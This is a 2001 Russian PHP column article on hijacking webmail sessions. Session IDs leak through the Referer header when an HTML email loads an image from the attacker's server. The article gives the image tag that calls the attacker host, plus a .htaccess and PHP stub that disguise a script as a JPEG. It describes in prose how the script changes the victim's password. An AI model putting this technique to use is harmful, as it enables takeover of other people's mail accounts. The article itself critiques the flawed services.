PHP в деталях

       

Дверца в защите: почтовый веб-интерфейс


DL
6.3.2001

Сегодня я хочу рассказать уважаемой публике, как можно воровать адреса с некоторых веб-мейлов. Я сказал "как можно", а не "как нужно"! Успокойтесь, ничего особо ценного, как "инструментарий юного хацкера" в этой заметке не будет. Просто демонстрация возможностей PHP и недостатков (вопиющих недостатков!) некоторых почтовых веб-интерфейсов.

A. V. Komlin, [] Очень полезная статья.

Описывается сервис [].

Первое же тестирование выявило, что сервер подвержен простейшим ошибкам в фильтрации скриптов и других опасных тегов, но это оказалось не самым худшим.

Как уже было отмечено? во время работы пользователь идентифицируется по случайному многозначному идентификатору (id) , и разумеется (думал я) IP и/или cookies. Тест показал, что это не так! Узнав значение id на ящик оказалось возможным зайти с другого адреса, например после обрыва соединения! Более того не требовалось и поддержки "пирожков" (хотя узнать их при возможности выполнить скрипт проблемой не являлось).

Фактически, для несанкционированного просмотра ящика, достаточно себе поставить простейшую программу, регистрирующую обращения к 80-му (или другому указанному в адресе) порту, послать письмо, вставив в него нефильтруемый тег провоцирующий браузер на автоматическое обращение к машине атакующего (например с помощью ссылки на картинку, якобы расположенную на IP адресе взломщика <img src=http://адрес_машины_взломщика:порт/anyname.gif width=1 height=1>) и, дождавшись пока жертва зайдёт читать почту, посмотреть поле "Referer:" в заголовке пришедшего запроса!

----------

GET /anyname.gif HTTP/1.0

Referer: http://www.hotbox.ru/message.php?id=b[skip]14cf&index=6&array_index=5

Connection: Keep-Alive

...

--------



Пример java-утилиты для прослушивания порта.

[skip]

Атакующему осталось только отключить поддержку cookies в своём браузере, полностью набрать указанный в Referer адрес и параллельно "работать с почтой " (почитать письма ,установить пересылку...) пока хозяин не выйдет из неё.


Если злоумышленник не имеет постоянного соединения с сетью, он может воспользоваться дырками в фильтрации тегов, чтобы установить с помощью языков сценариев пересылку (для этого придётся отправить дополнительное письмо с кодом подтверждения).

На самом деле, можно поставить взлом ящиков на поток и не караулить жертв, сидя на линии.

Итак, мы имеем почтовый сервис, который

а) авторизует пользователей по технологии аналогичной [].

б) не делает проверки IP-адресов

в) не проверяет содержимое писем формата html

г) не требует подтверждений изменений системных настроек

А проверка содержимого должна заключаться помимо всего прочего и в безжалостной резке всех картинок, которые не идут в аттачменте, а вызываются с другого адреса. ВСЕХ КАРТИНОК, ВСЕХ!

Мы же, крутые хацкеры, используем Apache+PHP.

Итак, что мы делаем.

1. Отправляем по разным адресам почтового сервиса письма в формате html с тегом

<img src=http://www.server.com/picture.jpg>

например, с поздравительной открыткой. :)

2. В директории с открыткой кладем файл .htaccess следующего содержания:

<Files "picture.jpg">

ForceType application/x-httpd-php

</Files>

3. Вместо открытки пишем файл picture.jpg с таким кодом:

<?

header("Content-type: image/gif");

include("otkrytka.jpg");

4. А поздравительную открытку кладем именно в файл otkrytka.jpg.

Директива ForceType в .htaccess заставляет сервер обрабатывать файл .jpg как скрипт php, который по завершении работы выдает пользователю картинку, и узнать, что скрипт что-то там делал, невозможно. А скрипт делает простую вещь ? разбирает переменную , выкусывает оттуда идентификатор сессии и... в два приема лишает пользователя ящика. На машине жертвы не происходит ничего, все делает скрипт на сервере злоумышленника:

5. [] с веб-мэйлом, имитируя отправку формы системных настроек (имена переменных надо написать ручками), а именно изменение пароля на нужный злоумышленнику (и, например, уведомляет автора о том, что такой-то ящик захвачен). Дабы не вызвать подозрений, можно формировать нужные заголовки ? рефереры, user agent и т.п.



6. Открывает второй сокет, имитируя нажатие кнопки "выход".

* Сокет - сетевое соединение. В данном случае точно такое же, как и соединение между веб-сервером и браузером.

ВСЕ! ПОЛЬЗОВАТЕЛЬ ОСТАЛСЯ БЕЗ СВОЕГО ЯЩИКА, не успев как следует рассмотреть картинку. Следующее, что он увидит ? сообщение типа "неправильный пароль, войдите еще раз".

Получается, что дырка в защите такого почтового сервиса (не Hotbox.ru, замечу, там что-то все-таки закрыто) на самом деле ? целая дверь. Сочетание передачи идентификатора сессии через ссылку (т.е. доступного кому угодно через поле Referer), а не через cookie и отсутствия проверки IP-адреса дает злоумышленнику возможность быстро и легко перехватить управление ящиком. Проверка же картинок здесь не спасает ? ничто не мешает вставить в текст письма ссылку, нажав на которую, пользователь передаст скрипту идентификатор сессии. Стоят ли удобства таких жертв? Думаю, нет.


Содержание раздела